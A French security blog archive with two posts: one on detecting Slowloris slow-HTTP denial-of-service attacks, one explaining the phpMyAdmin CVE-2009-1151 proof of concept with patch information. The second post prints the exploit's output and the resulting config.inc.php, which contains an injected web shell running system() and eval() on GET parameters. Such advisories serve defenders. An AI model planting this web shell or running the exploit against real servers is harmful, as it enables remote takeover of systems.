Category Archives: Reverse Engineering

Slowloris indétectable ? Pas si sûre que cela.

Jusqu’à maintenant nous connaissons les DoS et les DDoS de bourrins, dont la technique principale est de remplir le tuyau pour rendre l’accès aux ressources impossibles. Ces techniques d’attaques n’étaient pas très discrètes et les contre-mesures difficilement possibles, à part par la mise en place de “IP Blackhole“, ou encore par le prise de contact avec le “carrier” afin de ne plus annoncer la route vers le serveur cible (ce qui revient à un auto DoS ….).

RSnake, un chercheur en sécurité informatique, de ha.ckers, a mis à disposition un outil de DoS lent nommé Slowloris permettant de rendre indisponible un serveur web HTTP d’un hôte cible à partir d’un seul hôte source et cela avec le minimum d’usage sur la bande passante et sur la performance globale du hôte cible.

Slowloris garde les connexions HTTP ouvertes en envoyant sur le serveur HTTP cible de requêtes partielles. A intervalle régulier Slowloris va continuer a envoyer des paquets afin d’empêcher le serveur web HTTP de clore les connexions ouvertes, ainsi le serveur web n’a pas la possibilité de répondre à des sollicitations légitimes.

Suivant le développeur de Slowloris, RSnake, et affirmé dans différents podcast, Slowloris serait quasiment indécelable et permettrait le DoS presque parfait. Malheureusement je n’était pas très convaincu de ces affirmations un peu hâtives. Il est vrai que RSnake avait signifié qu’un grand nombre de “sockets” sont ouverts, et que lors de la clôture de ces sockets, un grand nombre de logs sont disponibles par le biais du serveur web. Déjà trop d’indices pour que cela aussi discret que prétendu.

De bons administrateurs systèmes auront mis sous monitoring leurs serveurs web et seront avertis rapidement d’un DoS en cours sur un serveur web. Voici les empreintes d’une attaque pouvant provenir de Slowloris.

Un grand nombre de connexion ouvertes sur le serveur :

[root@fedora ~]# netstat -tan | awk -F " " '{print $4}' | grep xxx.xxx.xxx.xxx | grep 80 | wc -l
487

Un serveur web présentant un nombre de “fork” hors de la normale :

De nombreux messages d’erreurs dans logs d’erreurs HTTP :

De nombreux logs de connexions anormaux dans les logs d’accès HTTP :

Un monitoring des caractéristiques du serveur web qui devient indisponible :

Par le biais de tous ces indices il est clairement possible de détecter une attaque du type Slowloris et ainsi de bloquer rapidement la source de cette attaque.

POC PHPMyAdminRCE.sh CVE-2009-1151

Adrian Pastor membre de Gnucitizen a rendu public un POC (Proof Of Concept) pour la vulnérabilité CVE-2009-1151 de phpMyAdmin.

Cette vulnérabilité, identifiée sous l’ID PMASA-2009-3 chez le fournisseur phpMyAdmin, a été dévoilée le 24 Mars de cette année. Un internaute malveillant pourrait, de façon distante, par le biais de cette vulnérabilité compromettre un système. De l’injection de code dans le script “scripts/setup.php” peut permettre la modification du fichier “config.inc.php”, afin d’y ajouter du code PHP aléatoire.

Cette vulnérabilité affecte toutes les versions de phpMyAdmin antérieure à la version 2.11.9.5 et 3.1.3.1. La mise à jour vers la version 2.11.9.5 ou 3.1.3.1 corrige cette vulnérabilité.

Le POC de Gnucitizen, ne fonctionne que pour les versions 2.11.4, 2.11.7, 2.11.7.1, 2.11.9.3, 2.11.9.4, 3.0.0 et 3.0.1.1 de phpMyAdmin, et si l’installation a été effectuée en utilisant l’interface d’installation de phpMyAdmin “scripts/setup.php”. De plus, afin d’être exploitée, cette vulnérabilité requiert que l’administrateur n’est pas supprimé le répertoire “config/” présent dans phpMyAdmin. Ce répertoire “config/” doit être accessible en écriture par le démon HTTP.

De plus, si le nom de la session “phpMyAdmin”, configurée par défaut, a été changée, le POC ne fonctionnera pas aussi.

Quoi qu’il en reste, ce script bash n’est qu’un POC, et il est certain que des versions plus élaborées et robotisées verront le jour d’ici peu.

Il est aussi à noter que ce POC peut aussi s’appliquer à la vulnérabilité CVE-2009-1285.

Ci-dessous le fichier de configuration type de phpMyAdmin.

[xxxxx@xxxxx config]# cat config.inc.php
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ <[email protected]>
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:52:48 GMT
*/

/* Servers configuration */
######i = 0;

/* Server localhost (cookie) [1] */
######i++;
######cfg['Servers'][$i]['host'] = 'localhost';
######cfg['Servers'][$i]['extension'] = 'mysql';
######cfg['Servers'][$i]['port'] = '3306';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'cookie';

/* End of servers configuration */

######cfg['blowfish_secret'] = '4a30e1f84afb18.56788245';
?>

Résultat lorsque la tentative d’exploitation est OK.

[xxxxx@xxxxx exploits]# ./phpmyadminrcesh.txt http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpmyadminrcesh.txt.14594.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:
http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?c=ls+-l+/
http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?p=phpinfo();
please send any feedback/improvements for this script to unknown.pentester<AT_sign__here>gmail.com

Fichier de configuration config.inc.php modifié après exploitation.

<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ <[email protected]>
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:54:21 GMT
*/

/* Servers configuration */
######i = 0;

/* Server  (config:root) [1] */
######i++;
######cfg['Servers'][$i]['host']='

';
if($_GET['c']){
echo '<pre>';
system($_GET['c']);
echo '</pre>';
}

if($_GET['p']){
echo '<pre>';
eval($_GET['p']);
echo '</pre>';
};

//'] = 'localhost';

######cfg['Servers'][$i]['extension'] = 'mysqli';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'config';
######cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>